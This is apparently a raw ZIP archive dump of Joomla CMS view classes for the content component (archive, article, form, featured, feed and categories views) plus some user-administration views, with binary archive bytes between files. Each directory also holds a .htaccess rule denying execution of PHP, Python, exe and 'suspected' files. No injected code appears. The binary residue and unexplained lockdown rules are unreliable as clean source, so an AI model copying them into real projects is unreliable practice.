{ /** @var ArchiveModel $model */ $model = $this->getModel(); $app = Factory::getApplication(); $user = $this->getCurrentUser(); $state = $model->getState(); $items = $model->getItems(); $pagination = $model->getPagination(); if ($errors = $model->getErrors()) { throw new GenericDataException(implode("\n", $errors), 500); } // Flag indicates to not add limitstart=0 to URL $pagination->hideEmptyLimitstart = true; // Get the page/component configuration $params = $state->get('params'); PluginHelper::importPlugin('content'); foreach ($items as $item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } $item->event = new \stdClass(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.archive', &$item, &$item->params, 0]); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.archive', &$item, &$item->params, 0]); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.archive', &$item, &$item->params, 0]); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.archive', &$item, &$item->params, 0]); $item->event->afterDisplayContent = trim(implode("\n", $results)); } $form = new \stdClass(); // Month Field $months = [ '' => Text::_('COM_CONTENT_MONTH'), '1' => Text::_('JANUARY_SHORT'), '2' => Text::_('FEBRUARY_SHORT'), '3' => Text::_('MARCH_SHORT'), '4' => Text::_('APRIL_SHORT'), '5' => Text::_('MAY_SHORT'), '6' => Text::_('JUNE_SHORT'), '7' => Text::_('JULY_SHORT'), '8' => Text::_('AUGUST_SHORT'), '9' => Text::_('SEPTEMBER_SHORT'), '10' => Text::_('OCTOBER_SHORT'), '11' => Text::_('NOVEMBER_SHORT'), '12' => Text::_('DECEMBER_SHORT'), ]; $form->monthField = HTMLHelper::_( 'select.genericlist', $months, 'month', [ 'list.attr' => 'class="form-select"', 'list.select' => $state->get('filter.month'), 'option.key' => null, ] ); // Year Field $this->years = $this->getModel()->getYears(); $years = []; $years[] = HTMLHelper::_('select.option', null, Text::_('JYEAR')); foreach ($this->years as $year) { $years[] = HTMLHelper::_('select.option', $year, $year); } $form->yearField = HTMLHelper::_( 'select.genericlist', $years, 'year', ['list.attr' => 'class="form-select"', 'list.select' => $state->get('filter.year')] ); $form->limitField = $pagination->getLimitBox(); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->filter = $state->get('list.filter'); $this->form = &$form; $this->items = &$items; $this->params = &$params; $this->user = &$user; $this->pagination = &$pagination; $this->pagination->setAdditionalUrlParam('month', $state->get('filter.month')); $this->pagination->setAdditionalUrlParam('year', $state->get('filter.year')); $this->pagination->setAdditionalUrlParam('filter-search', $state->get('list.filter')); $this->pagination->setAdditionalUrlParam('catid', $app->getInput()->get->get('catid', [], 'array')); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @return void */ protected function _prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK )�\�Sʉ� � Archive/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\�`��|2 |2 Article/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Article; use Joomla\CMS\Categories\Categories; use Joomla\CMS\Event\Content; use Joomla\CMS\Factory; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\FileLayout; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Component\Content\Site\Helper\AssociationHelper; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Component\Content\Site\Model\ArticleModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML Article View class for the Content component * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The article object * * @var \stdClass */ protected $item; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Should the print button be displayed or not? * * @var boolean */ protected $print = false; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The user object * * @var \Joomla\CMS\User\User|null */ protected $user = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The flag to mark if the active menu item is linked to the being displayed article * * @var boolean */ protected $menuItemMatchArticle = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { if ($this->getLayout() == 'pagebreak') { parent::display($tpl); return; } $app = Factory::getApplication(); $user = $this->getCurrentUser(); /** @var ArticleModel $model */ $model = $this->getModel(); $this->item = $model->getItem(); $this->print = $app->getInput()->getBool('print', false); $this->state = $model->getState(); $this->user = $user; // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Create a shortcut for $item. $item = $this->item; $item->tagLayout = new FileLayout('joomla.content.tags'); // Add router helpers. $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } // @todo Change based on shownoauth $item->readmore_link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); // Merge article params. If this is single-article view, menu params override article params // Otherwise, article params override menu item params $this->params = $this->state->get('params'); $active = $app->getMenu()->getActive(); $temp = clone $this->params; // Check to see which parameters should take priority. If the active menu item link to the current article, then // the menu item params take priority if ( $active && $active->component == 'com_content' && isset($active->query['view'], $active->query['id']) && $active->query['view'] == 'article' && $active->query['id'] == $item->id ) { $this->menuItemMatchArticle = true; // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } elseif ($layout = $item->params->get('article_layout')) { // Check for alternative layout of article $this->setLayout($layout); } // $item->params are the article params, $temp are the menu item params // Merge so that the menu item params take priority $item->params->merge($temp); } else { // The active menu item is not linked to this article, so the article params take priority here // Merge the menu item params with the article params so that the article params take priority $temp->merge($item->params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single-article menu item layout takes priority over alt layout for an article if ($layout = $item->params->get('article_layout')) { $this->setLayout($layout); } } $offset = (int) $this->state->get('list.offset'); // Check the view access to the article (the model has already computed the values). if (!$item->params->get('access-view') && ($item->params->get('show_noauth', '0') == '0')) { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->setHeader('status', 403, true); return; } /** * Check for no 'access-view' and empty fulltext, * - Redirect guest users to login * - Deny access to logged users with 403 code * NOTE: we do not recheck for no access-view + show_noauth disabled ... since it was checked above */ if (!$item->params->get('access-view') && !\strlen($item->fulltext)) { if ($this->user->guest) { $return = base64_encode(Uri::getInstance()); $login_url_with_return = Route::_('index.php?option=com_users&view=login&return=' . $return); $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'notice'); $app->redirect($login_url_with_return, 403); } else { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->setHeader('status', 403, true); return; } } /** * NOTE: The following code (usually) sets the text to contain the fulltext, but it is the * responsibility of the layout to check 'access-view' and only use "introtext" for guests */ if ($item->params->get('show_intro', '1') == '1') { $item->text = $item->introtext . ' ' . $item->fulltext; } elseif ($item->fulltext) { $item->text = $item->fulltext; } else { $item->text = $item->introtext; } $item->tags = new TagsHelper(); $item->tags->getItemTags('com_content.article', $this->item->id); if (Associations::isEnabled() && $item->params->get('show_associations')) { $item->associations = AssociationHelper::displayAssociations($item->id); } $dispatcher = $this->getDispatcher(); // Process the content plugins. PluginHelper::importPlugin('content', null, true, $dispatcher); $contentEventArguments = [ 'context' => 'com_content.article', 'subject' => $item, 'params' => $item->params, 'page' => $offset, ]; $dispatcher->dispatch('onContentPrepare', new Content\ContentPrepareEvent('onContentPrepare', $contentEventArguments)); // Extra content from events $item->event = new \stdClass(); $contentEvents = [ 'afterDisplayTitle' => new Content\AfterTitleEvent('onContentAfterTitle', $contentEventArguments), 'beforeDisplayContent' => new Content\BeforeDisplayEvent('onContentBeforeDisplay', $contentEventArguments), 'afterDisplayContent' => new Content\AfterDisplayEvent('onContentAfterDisplay', $contentEventArguments), ]; foreach ($contentEvents as $resultKey => $event) { $results = $dispatcher->dispatch($event->getName(), $event)->getArgument('result', []); $item->event->{$resultKey} = $results ? trim(implode("\n", $results)) : ''; } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->item->params->get('pageclass_sfx', '')); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void */ protected function _prepareDocument() { $app = Factory::getApplication(); $pathway = $app->getPathway(); /** * Because the application sets a default page title, * we need to get it from the menu item itself */ $menu = $app->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES')); } // If the menu item is not linked to this article if (!$this->menuItemMatchArticle) { // If a browser page title is defined, use that, then fall back to the article title if set, then fall back to the page_title option $title = $this->item->params->get('article_page_title', $this->item->title); // Get ID of the category from active menu item if ( $menu && $menu->component == 'com_content' && isset($menu->query['view']) && \in_array($menu->query['view'], ['categories', 'category']) ) { $id = $menu->query['id']; } else { $id = 0; } $path = [['title' => $this->item->title, 'link' => '']]; $category = Categories::getInstance('Content')->get($this->item->catid); while ($category !== null && $category->id != $id && $category->id !== 'root') { $path[] = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)]; $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } else { /** * This case the menu item links directly to the article, browser will be determined by following * order: * 1. Browser page title set from menu item itself * 2. Browser page title set for the article * 3. Article title */ $menuItemParams = $menu->getParams(); $title = $menuItemParams->get( 'page_title', $this->item->params->get('article_page_title', $this->item->title) ); } $this->setDocumentTitle($title); if ($this->item->metadesc) { $this->getDocument()->setDescription($this->item->metadesc); } elseif ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } if ($app->get('MetaAuthor') == '1') { $author = $this->item->created_by_alias ?: $this->item->author; $this->getDocument()->setMetaData('author', $author); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->getDocument()->setMetaData($k, $v); } } // If there is a pagebreak heading or title, add it to the page title if (!empty($this->item->page_title)) { $this->item->title .= ' - ' . $this->item->page_title; $this->setDocumentTitle( $this->item->page_title . ' - ' . Text::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $this->state->get('list.offset') + 1) ); } if ($this->print) { $this->getDocument()->setMetaData('robots', 'noindex, nofollow'); } } } PK )�\�Sʉ� � Article/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\��>�d d Form/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Form; use Joomla\CMS\Factory; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Component\Content\Site\Model\FormModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML Article View class for the Content component * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The item being created * * @var \stdClass */ protected $item; /** * The page to return to after the article is submitted * * @var string */ protected $return_page = ''; /** * The model state * * @var \Joomla\Registry\Registry */ protected $state; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The user object * * @var \Joomla\CMS\User\User * * @since 4.0.0 */ protected $user = null; /** * Should we show a captcha form for the submission of the article? * * @var boolean * * @since 3.7.0 */ protected $captchaEnabled = false; /** * Should we show Save As Copy button? * * @var boolean * @since 4.1.0 */ protected $showSaveAsCopy = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void|boolean */ public function display($tpl = null) { $app = Factory::getApplication(); $user = $app->getIdentity(); /** @var FormModel $model */ $model = $this->getModel(); $this->state = $model->getState(); $this->item = $model->getItem(); $this->form = $model->getForm(); $this->return_page = $model->getReturnPage(); if (empty($this->item->id)) { $catid = $this->state->get('params')->get('catid'); if ($this->state->get('params')->get('enable_category') == 1 && $catid) { $authorised = $user->authorise('core.create', 'com_content.category.' . $catid); } else { $authorised = $user->authorise('core.create', 'com_content') || \count($user->getAuthorisedCategories('com_content', 'core.create')); } } else { $authorised = $this->item->params->get('access-edit'); } if ($authorised !== true) { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->setHeader('status', 403, true); return false; } $this->item->tags = new TagsHelper(); if (!empty($this->item->id)) { $this->item->tags->getItemTags('com_content.article', $this->item->id); $this->item->images = json_decode($this->item->images); $this->item->urls = json_decode($this->item->urls); $tmp = new \stdClass(); $tmp->images = $this->item->images; $tmp->urls = $this->item->urls; $this->form->bind($tmp); } // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Create a shortcut to the parameters. $params = $this->state->get('params'); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = $params; // Override global params with article specific params $this->params->merge($this->item->params); $this->user = $user; // Propose current language as default when creating new article if (empty($this->item->id) && Multilanguage::isEnabled() && $params->get('enable_category') != 1) { $lang = $this->getLanguage()->getTag(); $this->form->setFieldAttribute('language', 'default', $lang); } $captchaSet = $params->get('captcha', Factory::getApplication()->get('captcha', '0')); foreach (PluginHelper::getPlugin('captcha') as $plugin) { if ($captchaSet === $plugin->name) { $this->captchaEnabled = true; break; } } // If the article is being edited and the current user has permission to create article if ( $this->item->id && ($user->authorise('core.create', 'com_content') || \count($user->getAuthorisedCategories('com_content', 'core.create'))) ) { $this->showSaveAsCopy = true; } // Add form control fields $this->form ->addControlField('task', '') ->addControlField('return', $this->return_page ?? ''); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @return void */ protected function _prepareDocument() { $app = Factory::getApplication(); // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $app->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_CONTENT_FORM_EDIT_ARTICLE')); } $title = $this->params->def('page_title', Text::_('COM_CONTENT_FORM_EDIT_ARTICLE')); $this->setDocumentTitle($title); $app->getPathway()->addItem($title); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK )�\�Sʉ� � Form/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\�ŀT T Featured/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Featured; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Model\FeaturedModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Frontpage View class * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The model state * * @var \Joomla\Registry\Registry */ protected $state = null; /** * The featured articles array * * @var \stdClass[] */ protected $items = null; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination */ protected $pagination = null; /** * The featured articles to be displayed as lead items. * * @var \stdClass[] */ protected $lead_items = []; /** * The featured articles to be displayed as intro items. * * @var \stdClass[] */ protected $intro_items = []; /** * The featured articles to be displayed as link items. * * @var \stdClass[] */ protected $link_items = []; /** * @var \Joomla\Database\DatabaseDriver * * @since 3.6.3 * * @deprecated 4.3 will be removed in 6.0 * Will be removed without replacement use database from the container instead * Example: Factory::getContainer()->get(DatabaseInterface::class); */ protected $db; /** * The user object * * @var \Joomla\CMS\User\User|null */ protected $user = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { $user = $this->getCurrentUser(); /** @var FeaturedModel $model */ $model = $this->getModel(); $state = $model->getState(); $items = $model->getItems(); $pagination = $model->getPagination(); // Flag indicates to not add limitstart=0 to URL $pagination->hideEmptyLimitstart = true; // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } /** @var \Joomla\Registry\Registry $params */ $params = $state->get('params'); // PREPARE THE DATA // Get the metrics for the structural page layout. $numLeading = (int) $params->def('num_leading_articles', 1); $numIntro = (int) $params->def('num_intro_articles', 4); PluginHelper::importPlugin('content'); // Compute the article slugs and prepare introtext (runs content plugins). foreach ($items as &$item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } $item->event = new \stdClass(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.featured', &$item, &$item->params, 0]); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.featured', &$item, &$item->params, 0]); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.featured', &$item, &$item->params, 0]); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.featured', &$item, &$item->params, 0]); $item->event->afterDisplayContent = trim(implode("\n", $results)); } // Preprocess the breakdown of leading, intro and linked articles. // This makes it much easier for the designer to just integrate the arrays. $max = \count($items); // The first group is the leading articles. $limit = $numLeading; for ($i = 0; $i < $limit && $i < $max; $i++) { $this->lead_items[$i] = &$items[$i]; } // The second group is the intro articles. $limit = $numLeading + $numIntro; // Order articles across, then down (or single column mode) for ($i = $numLeading; $i < $limit && $i < $max; $i++) { $this->intro_items[$i] = &$items[$i]; } // The remainder are the links. for ($i = $numLeading + $numIntro; $i < $max; $i++) { $this->link_items[$i] = &$items[$i]; } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = &$params; $this->items = &$items; $this->pagination = &$pagination; $this->user = &$user; $this->db = Factory::getDbo(); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void */ protected function _prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } // Add feed links if ($this->params->get('show_feed_link', 1)) { $link = '&format=feed&limitstart='; $attribs = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())]; $this->getDocument()->addHeadLink(Route::_($link . '&type=rss'), 'alternate', 'rel', $attribs); $attribs = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())]; $this->getDocument()->addHeadLink(Route::_($link . '&type=atom'), 'alternate', 'rel', $attribs); } } } PK )�\=Ɯ� � Featured/FeedView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Featured; use Joomla\CMS\Categories\Categories; use Joomla\CMS\Document\Feed\FeedItem; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\AbstractView; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Component\Content\Site\Model\FeaturedModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Frontpage View class * * @since 1.5 */ class FeedView extends AbstractView { /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { // Parameters $app = Factory::getApplication(); $params = $app->getParams(); $feedEmail = $app->get('feed_email', 'none'); $siteEmail = $app->get('mailfrom'); // If the feed has been disabled, we want to bail out here if ($params->get('show_feed_link', 1) == 0) { throw new \Exception(Text::_('JGLOBAL_RESOURCE_NOT_FOUND'), 404); } $this->getDocument()->link = Route::_('index.php?option=com_content&view=featured'); // Get some data from the model $app->getInput()->set('limit', $app->get('feed_limit')); $categories = Categories::getInstance('Content'); /** @var FeaturedModel $model */ $model = $this->getModel(); $rows = $model->getItems(); foreach ($rows as $row) { // Strip html from feed item title $title = htmlspecialchars($row->title, ENT_QUOTES, 'UTF-8'); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // Compute the article slug $row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id; // URL link to article $link = RouteHelper::getArticleRoute($row->slug, $row->catid, $row->language); $description = ''; $obj = json_decode($row->images); if (!empty($obj->image_intro)) { $description = '<p>' . HTMLHelper::_('image', $obj->image_intro, $obj->image_intro_alt) . '</p>'; } $description .= ($params->get('feed_summary', 0) ? $row->introtext . $row->fulltext : $row->introtext); $author = $row->created_by_alias ?: $row->author; // Load individual item creator class $item = new FeedItem(); $item->title = $title; $item->link = Route::_($link); $item->date = $row->publish_up; $item->category = []; // All featured articles are categorized as "Featured" $item->category[] = Text::_('JFEATURED'); for ($item_category = $categories->get($row->catid); $item_category !== null; $item_category = $item_category->getParent()) { // Only add non-root categories if ($item_category->id > 1) { $item->category[] = $item_category->title; } } $item->author = $author; if ($feedEmail === 'site') { $item->authorEmail = $siteEmail; } elseif ($feedEmail === 'author') { $item->authorEmail = $row->author_email; } // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists if (!$params->get('feed_summary', 0) && $params->get('feed_show_readmore', 0) && $row->fulltext) { $link = Route::_($link, true, $app->get('force_ssl') == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE, true); $description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '" rel="noopener">' . Text::_('COM_CONTENT_FEED_READMORE') . '</a></p>'; } // Load item description and add div $item->description = '<div class="feed-description">' . $description . '</div>'; // Loads item info into rss array $this->getDocument()->addItem($item); } } } PK )�\�Sʉ� � Featured/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\���B B Categories/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Categories; use Joomla\CMS\MVC\View\CategoriesView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Content categories view. * * @since 1.5 */ class HtmlView extends CategoriesView { /** * Language key for default page heading * * @var string * @since 3.2 */ protected $pageHeading = 'JGLOBAL_ARTICLES'; /** * @var string The name of the extension for the category * @since 3.2 */ protected $extension = 'com_content'; } PK )�\�Sʉ� � Categories/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\��\Ay y Groups/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Groups; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\GroupsModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View class for a list of user groups. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The item data. * * @var object * @since 1.6 */ protected $items; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination * @since 1.6 */ protected $pagination; /** * The model state. * * @var \Joomla\Registry\Registry * @since 1.6 */ protected $state; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * @since 4.0.0 */ public $activeFilters; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** @var GroupsModel $model */ $model = $this->getModel(); $model->setUseExceptions(true); $this->items = $model->getItems(); $this->pagination = $model->getPagination(); $this->state = $model->getState(); $this->filterForm = $model->getFilterForm(); $this->activeFilters = $model->getActiveFilters(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_users'); $toolbar = $this->getDocument()->getToolbar(); ToolbarHelper::title(Text::_('COM_USERS_VIEW_GROUPS_TITLE'), 'users-cog groups'); if ($canDo->get('core.create')) { $toolbar->addNew('group.add'); } if ($canDo->get('core.delete')) { $toolbar->delete('groups.delete') ->message('JGLOBAL_CONFIRM_DELETE'); $toolbar->divider(); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); $toolbar->divider(); } $toolbar->help('Users:_Groups'); } } PK ��\�Sʉ� � Groups/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�iK�I I User/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\User; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use 